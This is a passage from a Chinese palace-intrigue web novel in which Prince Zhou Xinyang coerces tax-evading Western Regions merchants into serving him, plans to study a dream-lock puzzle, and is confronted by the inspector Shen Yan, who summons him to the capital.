几人再次陷入沉默,只剩下粗重的呼吸声。他们偷偷打量着书房内的陈设,那墙上的舆图、架上的兵书,无一不暗示着此间主人的权势与志向,这让他们更加确信,此次召见绝非普通的商事往来。
每一种可能——重税、盘查、甚至是莫须有的罪名——都像巨石一样压在他们心头,让这几名平日里在商场上伶牙俐齿、精于计算的西域商人,此刻如待宰的羔羊般,心中充满了对未知的恐惧和忐忑。
他们只能暗自祈祷,希望这位威名赫赫的王爷,能给他们一条生路,或者,至少有一个能谈条件的机会。
就在这令人窒息的等待中,书房内侧的门扉无声地滑开,一个青色的身影缓步走出,正是周昕阳。他目光平静地扫过面前几名深深躬下身子的客商,仿佛只是看着几件无关紧要的物事。
几人感受到那目光,头垂得更低,连大气都不敢喘,先前所有的窃窃私语和猜测,瞬间化为乌有,只剩下最纯粹的敬畏。
“找你们来,有件小事。”
周昕阳淡淡开口。
“王爷请吩咐,能为王爷办事,是我们的荣幸。”
萨迪克用带着浓郁口音的中原话,恭敬行礼。
身后的几位西域客商也拱手作揖,一副恭顺听话的样子。
第82章 龙川渡的四大西域客商
“其实也没什么大事。”
“最近孤对粟特语比较感兴趣,你们都是龙川渡的客商,想来,应该知道吧?”
周昕阳端起茶杯,悠然抿了一口茶,开口问道。
闻言,四人相互对视一眼,彻底放松下来。
就这件小事啊?
呼!
萨迪克露出轻松之色,连忙开口道:“回王爷,粟特语是西域往来的通用语,您放心,我们有相关的书籍……”
“不,你没弄懂孤的意思,如果光是书籍的话,孤也有渠道可以得到,孤要的是你们出人,教孤粟特语,明白了吗?”周昕阳打断了萨迪克的话。
“这……”
萨迪克微微一愣,他没想到周昕阳是这个意思?
他略微思索后,谨慎地开口:“王爷,没问题。草民身边有个婢女,名叫阿月,自小便跟着草民走南闯北,精通粟特语、突厥语、波斯语、回鹘语等六种语言,甚至对官话也颇为熟稔,天分极高。若王爷不嫌弃,草民可让她……”
“婢女?”
周昕阳轻轻放下茶杯,杯底与檀木桌面接触,发出一声细微却清晰的脆响,打断了萨迪克的话。
他修长的手指并未立刻离开杯沿,只是用指尖有一下没一下地轻轻敲着,目光扫过萨迪克,带着一种难以言喻的审视。
“孤要学的,不止是市井之语,更要能读解文书、洞悉典籍的学问,一个婢女,纵然伶俐,恐怕也稍显不足吧?”他的语调平缓,却自有一股不容置疑的威压弥漫开来,使得刚刚轻松下来的气氛,瞬间又绷紧了几分。
萨迪克心头一凛,额角微微见汗,连忙躬身,语气更加恭敬:“王爷明鉴!阿月她……并非寻常婢女。其父本是撒马尔罕的学者,因战乱早逝,她幼时便已通晓文墨,流落市井后被草民收留。这些年来,草民行商所需的文书契约、往来信函,多由她经手翻译,从未出错。论及对粟特文书典籍的理解,只怕草民等都远不及她。”
他悄悄抬眼,觑了觑周昕阳的脸色,见对方面无表情,只是静静听着,便鼓起勇气继续道:“王爷若想深研,阿月确是最佳人选。她熟知粟特典故、诗歌传说,绝非仅会日常对话而已。只是身份低微,恐污了王爷……”
另外三名商人也都屏息凝神,不敢插话,心中暗自祈祷这位王爷能认可这个人选。
他们摸不透这位年轻王爷的真实意图,若仅仅是学语言,为何偏偏点名要他们这些商人出人?
莫非是借题发挥,另有所图?
周昕阳沉默片刻,指尖停止敲击,忽然轻笑一声,那笑声驱散了些许凝重:“哦?竟是位落难才女?如此说来,倒是孤狭隘了。也罢,英雄不问出处,有真才实学便好。”
他身体微微前倾,目光落在萨迪克脸上,带着一丝探究的意味:“既然如此,萨迪克,明日辰时,便让你说的这个阿月,到孤的墨蛟号上。孤,想见识一下她的才学。”
“是!是!草民遵命!明日一定准时将人送到!”萨迪克如蒙大赦,连忙躬身应下,后背的衣衫已被冷汗浸湿了一片。
周昕阳微微颔首,重新端起了茶杯,语气恢复了之前的淡然:“好了,正事谈完,诸位尝尝这新进的剑南蒙顶石花,据说别有一番风味。”
四人连忙端起茶杯,连声附和,心中却各怀心思,这茶入口,是甘是苦,竟有些尝不分明了。
厅堂之内,茶香依旧袅袅。
饮茶过后,周昕阳放下茶杯,杯底与桌面接触的清脆声响在寂静的书房里格外清晰,他看似随意地开口,目光却如鹰隼般扫过四人:“听说,你们最近在龙川渡,买卖做得不小,很是热闹啊?”
刚刚因敲定阿月之事而略微放松的气氛,瞬间再次冻结。
萨迪克等人心中刚刚落下的石头,猛地又提到了嗓子眼。
来了!
果然不止是学语言那么简单!
萨迪克·强作镇定,放下茶杯,脸上堆起谦卑又惶恐的笑容:“王爷明鉴,不过是些糊口的小生意,借着龙川渡漕运之利,赚些辛苦钱,实在不敢当热闹二字,都是托王爷治下有方的福泽。”
另外三人也连忙附和,言辞恳切,极力将生意的规模往小了说。
周昕阳仿佛没听见他们的自谦之词,指尖轻轻划过光滑的杯沿,语气平淡无波,却带着千斤重压:“哦?糊口的小生意?可孤怎么听说,光是上月,你们经手的香料、玉石,还有……从西域运来的那些特殊货物,价值就不下这个数?”
他随手在桌上蘸了茶水,写下一个数字。
看到那个水渍写就的数字,萨迪克四人脸色“唰”地一下变得惨白!
这个数目,与他们暗中核算的利润竟相差无几!
这位王爷,对龙川渡的商事了如指掌!
最年轻的哈桑腿一软,差点瘫倒,被身旁的阿卜杜勒死死拽住。
周昕阳将他们的惊惧尽收眼底,却不急着继续施压,反而话锋似是无意地一转:“生意做得大,本是好事。龙川渡的关税,虽说比别处优渥些,但积少成多,想必也是一笔不小的开销吧?”
关税!!
这二字,如同惊雷,在四人耳边炸响!
他们最害怕的事情终于来了!先前哈桑猜测的关税上动的手脚,此刻被王爷轻描淡写地提起,其意味不言自明……
他们那些欺上瞒下、偷漏关税的把戏,这位王爷心知肚明!
“噗通!”
“噗通!”
接连几声闷响,萨迪克、阿卜杜勒等四人再也支撑不住,齐刷刷地跪倒在地,额头重重磕在柔软却冰冷的波斯地毯上,身体因恐惧而剧烈颤抖。
“王爷饶命!王爷饶命啊!”萨迪克声音发颤,带着哭腔,“是小人猪油蒙了心,一时贪念,在关税上做了些……做了些手脚!求王爷开恩,小人愿意补足所有税款,加倍罚银!只求王爷饶我等贱命!”
“王爷开恩!我等再也不敢了!”其他三人也磕头如捣蒜,华丽的锦袍委顿在地,显得狼狈不堪。
在绝对的权势面前,他们那点精明的算计和财富,脆弱得不堪一击。
此刻,他们的小命,全在周昕阳一念之间。
周昕阳看着脚下抖成一团的四人,脸上依旧没什么表情,既无怒意,也无怜悯。他静默了片刻,直到磕头求饶的声音渐渐微弱下去,才缓缓开口,声音里带着一种奇异的安抚力量:
“起来吧。”
三人一愣,几乎以为自己听错了,不敢动弹。
周昕阳重复了一遍,语气微沉:“孤让你们起来。”
萨迪克等人这才战
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战兢兢地爬起来,垂手躬身,不敢抬头,心中更是七上八下,不知这位王爷葫芦里卖的什么药。
“一点关税上的小事,”周昕阳的语气甚至带上了一丝不甚在意的慵懒,“孤若真想追究,此刻你们就该在龙川渡的大牢里,而不是在孤的书房喝茶。”
他顿了顿,看着几人惊疑不定的神色,终于抛出了真正的意图:“税款,该补的补上,以后按规矩缴纳便是。孤甚至可以给你们一些便利,让你们的货物在龙川渡,乃至云梦水师管辖的江面上,通行得更顺畅些。”
萨迪克等人猛地抬头,眼中充满了难以置信!
不仅不追究,还给便利?
天下哪有这样的好事?
周昕阳将他们的反应看在眼里,嘴角勾起一丝难以察觉的弧度:“不过,相对应的,孤也需要你们帮孤做一些事。”
他身体微微前倾,声音压低了几分,却带着不容置疑的分量:“孤需要一些不在明面上的进项。有些财富,泽川王府不方便直接去取。你们,都是精明能干的商人,熟悉西域诸国,也了解中原各州郡的行情。”
话说到这个份上,萨迪克等人岂能不明白?
这位权势滔天的泽川王,是要将他们收编,成为他在商业领域的白手套,利用他们的商业网络和身份,为他暗中运作,攫取其他州郡乃至西域的财富!
恐惧如同潮水般退去,一股难以抑制的狂喜和兴奋瞬间涌上四人心头!
搭上泽川王这条线!
这意味着什么?
这意味着从此以后,他们在龙川渡乃至更广阔的区域,将拥有巨大的靠山和特权!
关税上的那点损失,与未来可能获得的巨大利益相比,简直是九牛一毛!
这是他们这些商人做梦都不敢想的天大机遇!
“王爷!”萨迪克激动得声音都在发抖,再次躬身,这次却是充满了献媚与忠诚,“能为王爷效劳,是我等天大的福分!王爷但有所命,赴汤蹈火,在所不辞!我等必定竭尽所能,为王爷打理好一切!”
“愿为王爷效死!”另外三人也激动地齐声附和,脸上充满了找到强大倚靠的兴奋红光。
先前所有的忐忑和恐惧,此刻都已化为对财富和权力的无限憧憬。
周昕阳满意地点了点头,重新靠回椅背,恢复了之前淡然的神色:“具体事宜,稍后自会有人与你们详谈。记住,今日之事,出得我口,入得你耳。”
“明白!明白!小人绝对守口如瓶!”四人连连保证。
“好了,下去吧。”周昕阳挥了挥手。
四人千恩万谢地退出了书房,脚步比来时轻快了不知多少,直到离开墨蛟号,踏上龙川渡的码头,**风一吹,才恍如隔世。
互相对视一眼,都从对方眼中看到了劫后余生般的庆幸,以及难以言喻的激动。
书房内,周昕阳独自一人,目光再次投向窗外浩渺的江面。
他需要钱,大量的钱。
天下即将大变,老六是靠不住的,他只能靠自己!
养水师、造战船、结交朝臣、蓄养死士、侵吞整个云梦州……哪一样不需要金山银海堆砌?
这些西域商人,不过是棋盘上新落下的几枚棋子罢了。
周昕阳端起那杯已然微凉的茶,轻轻呷了一口。
第83章 深夜访客
“大人,已经补给好了。”玄鹰走了进来,恭敬抱拳道。
“让将士们稍作调整吧。”周昕阳摆了摆手。
“是。”玄鹰行了一礼后,退了出去。
书房内重归寂静,只有船行破浪的哗哗声,规律地传入耳中。
周昕阳放下茶杯,指尖无意识地在桌面上轻轻敲击,节奏与他思考的脉搏同步。
与西域商人的会面,算是顺利埋下了一枚暗棋,但棋盘广大,仅此一步还远远不够。
周昕阳的目光掠过墙上那张巨大的云梦州及周边区域的舆图,最终落在龙川渡以北,那片被重重山岭环绕、标注着【墨家机关城】遗迹的区域。
梦境中那繁复无比、蕴含着惊人秘密的机关锁,以及那个算术天才公孙启的身影,再次浮现在他脑海。
“机关术早已失传,现在残留下来的,十不存一,已经不复当年的光彩了。”
“要想弄清楚锁中的机关,看来还要从机关术出发,要找到对应的人才。”
“公孙启虽然有天赋,可毕竟没有经过专业培养,只懂得制锁、开锁,却不懂机关。”
“三十六万二千八百八十种组合……”周昕阳低声重复着这个令人绝望的数字,嘴角却泛起一丝冷峻的笑意。
若是换做常人,只怕早已放弃。
但他周昕阳是什么人?
从小到大,他经历的困难和挫折,还少吗?
梦境重置循环的噩梦,他做了十年。
各种困难,各种死亡,各种操作,他都尝试了个遍。
一次次的炸箱操作,绝非徒劳,每一次碎片的拼合,都让他对锁芯内部的结构、对那种奇特的规律多一分熟悉。
这就像在无尽的黑暗中摸索,虽然每一次点燃的火把都会瞬间熄灭,但火光乍现的刹那,总能照亮方寸之地,积少成多,未必不能窥见全貌。
“钥匙……”周昕阳沉吟着,思绪纷飞,又想到了打破梦境循环的“钥匙”。
“钥匙只是一个代称,并非是实体,而是某种方法?或者说,是某种必须满足的条件?”
“而第四把锁这么难开,恐怕也有着不为人知的开锁条件。”
周昕阳想起了某些古老的传说,关于血液、关于时机、关于特定序列才能开启的秘藏。
第四把锁如此奇特,或许其开启方式也迥异于常理。
周昕阳需要更多的信息,不仅仅是关于锁本身,还有制作它的人,以及它可能守护的东西。
龙川渡是商埠,南来北往的消息汇集于此,或许这里能找到关于墨家机关术,这对他开启梦中的第四把锁至关重要。
“玄鹰。”周昕阳再次开口。
一直守在门外,玄鹰应声而入:“王爷有何吩咐?”
“去找几个熟悉墨家机关城遗迹的向导,最好是本地老人,或者常年在那片区域活动的采药人、猎户。孤对那里的古物传说,有些兴趣。”周昕阳吩咐道,语气平淡,如同真的只是一时兴起的探古寻幽。
“属下明白。”玄鹰没有任何疑问,立刻领命。
“还有……”周昕阳补充道,“明日那个叫阿月的婢女过来,你亲自带她到书房旁边的静室等候。一切按规矩来,但留意她的举止谈吐,尤其是当她看到书房内这些陈设,特别是那张舆图时的反应。”
“是!”玄鹰眼中闪过一丝了然。王爷对那个粟特婢女,显然也并非仅仅是为了学语言。
周昕阳挥挥手,玄鹰再次退下。
他起身,走到窗边,负手而立。
墨蛟号已经停靠在龙川渡码头,远处岸上屋舍连绵,人声隐约可闻,一派繁华景象。
但这繁华之下,多少暗流涌动?
“只希望老六能给我多争取一些时间,天下将乱,唯有自身足够强大,才能在这乱世活下去……”他心中默念,眼神锐利如刀。
云梦州是他的
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根基,但绝不会是他的终点。
机关锁的秘密,打破梦境循环的秘密,或许能成为他撬动未来局势的一根重要杠杆。
而明日即将到来的阿月,那些西域商人,乃至即将去寻找的向导,都将是他在这个巨大棋盘上落下的又一步棋。
他需要耐心,需要谨慎,更需要在这看似循环重复的梦境与现实之中,找到那条通往权力巅峰的唯一路径。
江风带着水汽扑面而来,带着龙川渡特有的、混合着货物、香料与人间烟火的气息。
周昕阳深深吸了一口气,感受着这真实世界的脉搏,同时也清晰地感知到,那梦境中的机关锁,正与现实中的谋划,以一种奇妙的方式逐渐交织在一起。
夜幕渐渐笼罩江面,墨蛟号上的灯火次第亮起,如同蛰伏巨兽睁开的眼睛,冷冷地注视着这片即将因他而风起云涌的土地。
……
夜幕彻底笼罩了龙川渡,码头上喧嚣渐息,只剩下江水拍打岸边的呜咽声。墨蛟号如同一个巨大的黑色剪影,静静泊在港湾中,只有舰桥上零星的灯火,在墨色江面上投下破碎的光斑。
书房内,周昕阳屏退了左右,只留一盏孤灯。
他并未就寝,而是坐在书案后,就着昏黄的灯光,翻阅着一卷关于云梦州地理志的古籍。书页泛黄,上面不仅有官方记载,还有他自己用朱笔添注的零星批语,大多与山川险要、物资出产相关。
他的神情专注,完全沉浸其中。
突然,门外传来极其细微的、几乎融入夜风的衣袂破空声。
紧接着,书房那扇厚重的、本应从内闩上的檀木门,竟无声无息地向内滑开了一道缝隙。
没有通报,没有脚步声,一道修长的身影如同鬼魅般,悄无声息地出现在门口,挡住了门外廊道里微弱的光线。
“什么人?”
周昕阳翻书的动作顿住,猛得抬头,看向门外。
第84章 左提督使沈砚
来人并未完全踏入,只是站在门廊的阴影里,声音带着一种特有的、仿佛金玉摩擦般的清冷与磁性,在寂静的书房里缓缓荡开:
“泽川王,好雅兴啊……更深露重,还在秉烛夜读。”
周昕阳翻书的动作骤然停顿,瞳孔难以抑制地微微一缩。
这个声音,他太熟悉了!
在梦中,他不止听到过一次。
甚至不用抬头,他都能知道来人是谁……
周昕阳缓缓抬起头,目光如炬般射向门口那片阴影。
下一刻,一道身影,仿佛从夜色中剥离出来一般,缓步走了进来。
灯火将来人的轮廓逐渐照亮——
一身玄色劲装紧裹着修长挺拔的身躯,外罩一件暗绣云纹的深紫色提督使官袍,腰佩一柄狭长乌鞘刀,刀鞘幽暗,似乎能吸走周围所有的光。
来人面容俊美近乎阴柔,肤色白皙,但那双眼睛却深邃如万年寒潭,看人时带着一种居高临下的审视与彻骨的漠然。
宸察院左提督使——沈砚。
周昕阳握着书卷的手指几不可察地收紧了一瞬,随即又缓缓松开。他将书卷轻轻放在案上,身体向后靠进椅背,脸上看不出丝毫惊慌,只有一丝恰到好处的意外,但眼神深处已是一片冰封。“沈大人,”
他开口,声音平稳,听不出波澜,“你会出现在这里,着实让本王……很意外。”
周昕阳紧紧盯着沈砚,每一个字都说得清晰缓慢,心中已然明镜般雪亮:最大的变数,最危险的情况,已然降临!!
沈砚能如此悄无声息地出现在这墨蛟号的核心书房,只意味着一件事——对方已经在不声不响间,解决甚至控制了他最倚仗的亲卫·墨甲卫,彻底掌控了这艘座舰。
而更关键的是沈砚的身份——左提督使。
他亲自到来,对应的就是那枚足以调动整个宸察院力量的信物,【煌麟令】也必然随之而至。
自己凭借【燚虎令】对云梦州宸察院分部的掌控,在【煌麟令】面前,是完全不够看的。
刚刚搭建起来的控制链,直接土崩瓦解……
更要命的是,情报的缺失。
周昕阳当初如何利用规则对付老六的,如今这位左提督使,便以其人之道,还治其人之身,用来对付他!!
老六就是因为不清楚周昕阳手中有比他高一级的令牌,所以上蹿下跳,极度猖狂,横行无忌。
可眼下,周昕阳也并不清楚沈砚何时潜入的。
这位主,恐怕早已潜入云梦州,如同一只潜伏在暗处的蜘蛛,静静地等待着他,或者说,等待着他和老六犯错,然后一网打尽。
周昕阳心中一阵冰冷。
眼下的局面,算是他计算之外的最坏情况了。
沈砚对周昕阳那锐利如刀的目光恍若未见,他姿态闲适地踱步到书案前,随意地拂了拂袍袖,在周昕阳对面的梨花木椅上坐了下来,动作优雅从容,仿佛他才是此间的主人。
“王爷实在是厉害……”沈砚抬起眼,目光平静地落在周昕阳脸上,语气听不出是赞叹还是嘲讽,“我实在没想到,我宸察院的令牌体系,竟被王爷钻研得如此透彻,甚至能制作一模一样的令牌出来?”
“通过掌控燚虎令,得以号令指挥使之下的所有人。仅凭此令,若非我亲自前来,王爷几乎能在这云梦州横行无忌……”
“说实话,第一次看见燚虎令的时候,我还被吓了一跳,还以为是宸察院的令牌遗失了,可后面核对后,这才明白王爷的厉害之处。”
他微微顿了顿,似乎在品味这个说法,“在不声不响间,居然做出了这般局面,着实让我有些意外。”
周昕阳闻言,嘴角勾起一抹淡淡的、带着些许自嘲意味的笑意,他伸手拿起案上微凉的茶杯,指尖摩挲着光滑的瓷壁,“沈大人,我没想到,你贵为左提督使,竟会亲自驾临这偏远的云梦州,像盯贼一样盯着本王。看来,我还是太大意了,终究是犯了和老六一样的错误。”
他抬起眼帘,目光锐利地射向沈砚,“如此说来,本王在云梦州做的这些微不足道的小动作,想必早已在沈大人你的洞察之下,一览无余了?”
沈砚缓缓摇了摇头,否定了周昕阳的说法,语气依旧平淡无波:“是二皇子殿下睿智,提前做了些部署……否则,我亦难以料想,一向低调的九王爷您竟有如此翻云覆雨的手段?”他话锋微转,带着一丝探究,
“不过细细想来,却也不无可能。毕竟,王爷您翻手为云覆手为雨,便能将太
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子殿下扳倒,掀起京城那般滔天巨浪,事后却能全身而退,返回封地,这份能耐,属实不凡。”
周昕阳眉头微挑,脸上适当地露出几分被误解的讶异与无奈:“沈大人此言差矣。京城之乱,本王乃是竭力维持秩序,揭露阴谋,为朝廷立下大功,何来弄乱子一说?”
“若非本王,朝廷局面恐更难收拾。”
周昕阳一边说着,一边仔细观察着沈砚脸上最细微的情绪变化,同时,脑海中思绪如电光石火般急转。
在沈砚这等人物面前,任何一丝破绽都可能致命。周昕阳必须极度谨慎,既要试探,又要自保。
他稍作停顿,继续开口,抛出了一个关键的话题,意图试探更深层的秘密:“况且,若非本王,那至关重要的铁箱之谜,又怎会得以揭晓?”
说完这话,周昕阳的目光紧紧锁住沈砚的双眼,不放过任何一丝一毫的情绪波动。
沈砚的表情没有任何变化,甚至连眼神都未曾闪烁一下,仿佛听到的只是一个与己无关的寻常词汇。
沈砚淡淡回应,语气平直得像在陈述一个既定事实:“铁箱之事,我并不知晓内情。那是厉厉大人一手经办,他与我素来不甚和睦。”
没有!
一丝一毫的异常情绪都没有!
周昕阳心念微动,心头猛地一沉,像是坠入了冰冷的深渊。
难道说,那个纠缠他十年梦境、至关重要的铁箱,在改变梦境进而影响现实的情况下,还是从未出现过?
也正因如此,即便自己在梦境中揭露了其中的秘密,但在现实里,这份功劳却无法坐实,最终只是在三天后被轻描淡写地要求返回封地……
这个推测,让周昕阳感到一股寒意,从脊椎悄然升起。
可现实中铁箱并不存在的话,那岂不是说梦里的铁箱可以随便炸了?
又一个想法,随之升起。
最终这些纷乱的想法,尽数收敛,周昕阳重新回归冷静,他明白眼前的局面,才是他现在最该解决的问题。
“沈大人,孤记得你,似乎是老六的人吧?”
“怎么又跟二皇子搞在了一起?”
“如此反复,不太好吧?”
周昕阳指尖轻轻敲击着冰凉的茶杯,有些随意的开口道。
第85章 新太子
周昕阳此话,问得诛心,既是试探沈砚的真实立场和与二皇子周·炜廷合作的牢固程度,也是在暗示对方身为臣子却摇摆不定,有失臣节。
沈砚闻言,嘴角竟破天荒地勾起一抹极淡、几乎看不见的弧度,但那笑意未达眼底,反而让他那双寒潭般的眸子更显冰冷:“王爷说笑了。”
“宸察院直属陛下,只效忠皇权。先前奉旨协助六皇子殿下,是职责所在。如今陛下病重,太子监国,沈某自然效忠太子,何来反复之说?”
他轻轻将问题挡了回去,并将自己的行为归结为对皇权的绝对忠诚,让人抓不住任何把柄。
随即,沈砚话锋一转,重新将焦点拉回到周昕阳身上:“倒是王爷您,在云梦州暗中经营,掌控宸察院分部,结交西域商贾,甚至对墨家遗迹表现出异乎寻常的兴趣……这一桩桩,一件件,似乎也并非全然安于封地、恪守臣道之举吧?”
沈砚的语气依旧平淡,但每个字都像是一根冰冷的针,精准地刺向周昕阳布局的核心。他果然对周昕阳在云梦州的一举一动了如指掌!
周昕阳心中警铃大作,但面上却露出一个无奈的笑容,仿佛被误解了一般:“沈大人此言,未免太过苛责。”
“云梦州地处边陲,水泽纵横,匪患丛生,本王若不整饬武备,如何保境安民?”
“与西域商人往来,不过是为互通有无,繁荣地方经济。至于墨家遗迹……本王闲暇时喜好杂学,对古物传说有些兴趣,莫非这也触犯了律法?”
他避重就轻,将所有的行为都解释得合情合理,仿佛只是一个尽责的藩王和有点小爱好的贵族。
“保境安民?繁荣经济?”沈砚轻轻重复了一遍,眼神中掠过一丝几不可察的讥诮,“王爷的保境安民,练出的水师似乎强得有些过分了;王爷的繁荣经济,结交的却多是能弄到火油、战马等违禁物资的商队。至于喜好杂学……”
他微微前倾身体,虽然动作幅度很小,却带来一股无形的压迫感,声音也压低了些许,带着一种洞悉一切的了然:“王爷感兴趣的,恐怕不是那些故纸堆里的传说,而是墨家机关术本身吧?尤其是与某种特殊的锁相关的机关术,对么?”
“锁”字一出,周昕阳的心脏猛地一跳!
沈砚竟然连他对机关锁的兴趣都知道?!
是了,他寻找熟悉墨家遗迹向导的命令刚下达不久,沈砚便现身,说明他在墨蛟号上,甚至在他最核心的亲信之中,也安插了眼线!
或者说,整个云梦州,早已在宸察院的严密监控之下!
周昕阳后背瞬间沁出一层细密的冷汗。但他深知,此刻绝不能露出任何慌乱,他强压下心中的惊涛骇浪,脸上反而露出一丝恰到好处的疑惑:“锁?沈大人这话倒让本王听不懂了。”
“本王只是对古迹好奇,何来对什么特殊的锁感兴趣之说?莫非沈大人听到了什么不实的传闻?”
他决定装傻到底,绝不能承认与铁箱和机关锁有关的任何事。在现实世界中铁箱既然可能不存在,那这就是他最好的掩护。
沈砚静静地看了周昕阳片刻,那双深邃的眼睛仿佛能看穿人心。周昕阳努力维持着镇定,与他对视,不露怯意。
良久,沈砚才缓缓靠回椅背,打破了沉默:“王爷是否听得懂,并不重要。重要的是,陛下希望王爷能懂君臣之分,能懂何时该进,何时该退。”他的语气重新变得淡漠而不容置疑,“现在是太子监国。”
“京城,王爷是必须去一趟的。至于云梦州的事务,王爷可写下手谕,暂由长史代理。”
“王爷的墨蛟号,也可随行北上,以示陛下恩宠。”
图穷匕见,没有任何转圜的余地。
沈砚此行,就是来押送他入京的。
周昕阳知道,自己此刻若强行反抗,只有死路一条。
沈砚敢孤身前来,自然有所依仗,外面定然也布满了宸察院的高手。
他唯一的生机,或许就在于顺从,然后在前往京城的路上,或者……在京城那龙潭虎穴之中,再寻找机会。
心思电转间,周昕阳脸上露出一丝看似妥协的疲惫,他轻轻叹了口气,将杯中已凉的茶水一饮而尽,仿佛饮下的不是茶,而是无奈的现实。“既然父皇盛情相邀,沈大人又亲自来请,本王若再推辞,倒显得不识抬举了。”
“不过……”周昕阳突然话锋一
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转,眼神变得凌厉了起来,“沈大人刚刚说太子?”
“太子不是已经被废了吗?”
“何来太子一说?”
他放下茶杯,发出清脆的撞击声,目光迎上沈砚的视线,语气平静却带着一丝不易察觉的深意。
“泽川王您还不知道吗?二皇子殿下已经成为太子了,圣旨也早就发出来,怎么?您没收到吗?”沈砚适时露出一丝诧异,仿佛这个消息,他身为藩王,应该早就知道才对。
可实际上,周昕阳明白,哪有什么消息?
哪有什么圣旨?
不过都是口头上的话罢了!
哪怕真的有圣旨,在这些藩王没被骗进京之前,都不可能宣告天下的……
“呵呵,那可能是耽误了。”周昕阳呵呵一笑,有些嘲讽的说道。
沈砚自然听出了周昕阳的讥讽之意,但他不在意,也不在乎,“既然王爷不反对,那我们就继续进京吧。”
周昕阳点了点头,“好,本王就随沈大人入京。正好,本王也有些事,想当面问问……太子殿下。”
他特意在“太子殿下”二字上微微停顿,意味难明。
沈砚似乎并不在意周昕阳话语中的潜台词,只要他答应入京,目的便已达到。他站起身,微微颔首:“王爷明智。既如此,请王爷稍作准备,明日辰时,我们启程。今夜,我会派人保护王爷,以确保行程顺利。”
所谓的保护,自然是软禁和监视。
周昕阳点了点头,没有表示异议。
他知道,从这一刻起,他暂时失去了自由,但也正式踏入了一个更加凶险,却也蕴含着未知变数的棋局。
沈砚不再多言,转身离去,身影再次融入门外的黑暗中,仿佛从未出现过。
书房内,只剩下周昕阳一人,以及那盏摇曳的孤灯。
窗外,墨蛟号静静地停泊在龙川渡的夜色里,但它的主人,却已身不由己。
周昕阳缓缓闭上眼,感受着体内因紧张而加速流淌的血液,以及脑海中那个疯狂而大胆的计划,正逐渐清晰起来。
现实与梦境的边界,似乎在这一刻,变得更加模糊了。
今夜的入梦,或许他要尝试新的破局之法了……
第86章 入梦
周昕阳缓缓闭上眼,并未因眼前的困境而绝望,反而深深吸了一口气,再缓缓吐出,仿佛要将胸腔内的所有郁结和惊悸一并排出。他感受着体内因方才与沈砚交锋而加速流淌的血液正逐渐平复,心跳也回归到一种近乎冷酷的平稳节奏。
越是绝境,越需冷静。
沈砚的出现,虽然打乱了他所有的现实部署,将他逼入了看似十死无生的死角,但也并非全无收获。
至少,他确认了几件至关重要的事:
其一,老二已经彻底掌控了京城局势,并且对他这个九弟忌惮极深,不惜派出沈砚这等底牌前来请他,显然颇为重视。
其二,他之前在云梦州的诸多行动,确实已在宸察院的监视之下,但沈砚似乎并未掌握最核心的秘密,据他所说,铁箱在现实世界并不存在。
其三,沈砚对“锁”的提及,看似威胁,却也侧面印证了他对梦境中发生的事情,一无所知。
其四:自己记忆中是存在铁箱的,同时滞留在京城三天,也是为了打开铁箱,最终没打开,被赶回了封地。
“可偏偏对方说,没有铁箱?”
“是因为没参与吗?”
“还是自己的记忆出现了错误?”
周昕阳可是清楚记得,在打破梦境循环后,他的记忆中出现了那三天的画面,那个只在梦境中出现过的铁箱,在现实中也出现了。
“等等,不要着急,先重新梳理一下,对方掌握的情报……”
周昕阳思绪微动,强迫自己冷静下来:“按照现实中发生的顺序,大致是,我某天起来,突然询问锁的事情,以及特殊的诗词,随后就是老六到来,以炎雀令控制云梦州的宸察院……”
“嗯……以宸察院对天下的控制,再加上沈砚对老六的了解,他肯定猜到了对方会用炎雀令来胡作非为,只是他没想到老六会这么胆大,潜入云梦州。”
“再往后,就是我使用了燚虎令,夺过了老六的控制权,再一次出乎了沈砚的预料。”
“所以,他出现了。”
“因为他知道,如果他不出现,我是绝对不可能进京的。”
周昕阳将现实中发生的事情,逐一梳理后,发现除了后续的动作,以及拿出燚虎令之外,他并没有做什么越界的举动。
“进京……”周昕阳在心中冷笑,那无疑是龙潭虎穴,是周·炜廷为他精心准备的葬身之地。
即便对方没有杀心,估计也是终身囚禁的下场。
“不过,我是最弱的藩王,即便拿下我,也没什么用。”
“对我的态度,反而会成为各地藩王审视这位新太子的尺子……”
“为彰显仁义道德,老二大概不会直接把我下狱,或者将我杀害。”
“除非他真的愚不可及。”
周昕阳冷静思考后,发现进京,也未必不可。
有些事情,去了京城,反而好解决。
再说了,他老二能上去,周昕阳还是有些功劳的。
这个情分,老二若是不顾,那周昕阳就只能先下手为强了……
“实在不行,就扭转过去,让老二彻底失去机会。”
“时间还来及,还有机会。”
周昕阳的底气,从来就不完全依赖于现实中的权谋和武力。那场持续了十年、能够重置循环的梦境,才是他最大的依仗,尤其是现在,已经成功打破一次循环了,还完成了对现实世界的影响。
这绝对是他的一大利器!
“记忆中有,可沈砚却说没有,是他真不清楚?”
“还是他有意隐瞒?”
“亦或者是我的记忆出现了混乱?”
“不,不太可能,最起码老六的言语和我的记忆变化,说明现实真的被改变了。”
“所以,这次进京,对我来说,可能并非是坏事。”
“最起码能真正弄清楚铁箱是否存在?”
“铁箱中的**是否**了?”
“如果现实中的铁箱或许因我的干预而未曾出现,那梦中的铁箱,我就可以肆意探索了……”
“无论炸几次,都不会影响现实。”
周昕阳的思绪再次聚焦于那繁复的机关锁上。之前他顾忌现实铁箱的唯一性,对“炸箱”行为慎之又慎。
但现在,现实的基础已然动摇,甚至可能不复存在,那梦中的束缚,似乎也随之减轻了。
“既然现实中铁箱是否存在?依旧存疑。那不如就在梦中,大胆尝试!”一个疯狂而大胆的计划,在他脑海中迅速成
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型,细节逐渐清晰。
今夜入梦,周昕阳不再会像以往那样,小心翼翼地尝试。
他要主动地、有计划地去“炸箱”!
提前炸箱!!
利用炸箱,去观察锁芯内部结构在极端状态下的变化,去感受那三十六万多种组合中可能存在的、非机械的规律、条件!
原本现实顾虑下,周昕阳不敢轻易尝试,但现在,现实的枷锁似乎松动了。
“既然你们想要我进京,那我就去玩一玩,那里可是我的游乐场……”
周昕阳走到窗边,推开一丝缝隙,冰冷的江风夹杂着水汽涌入,让他精神一振,他望着远处龙川渡零星的灯火,眼神锐利。
现实中的旅程已然开始,而梦中的征途,将在今夜进入一个全新的、更加激进的阶段。
周昕阳回到书案前,平静地铺开纸笔,开始写下“手谕”,将云梦州的事务“委任”给长史。笔尖划过纸张的沙沙声,在寂静的夜里格外清晰。这看似屈从的行为,此刻在他心中,却更像是一种蛰伏,一种为了更猛烈反击而进行的必要伪装。
写完手谕,他吹熄了灯火,躺在了书房内的卧榻上。
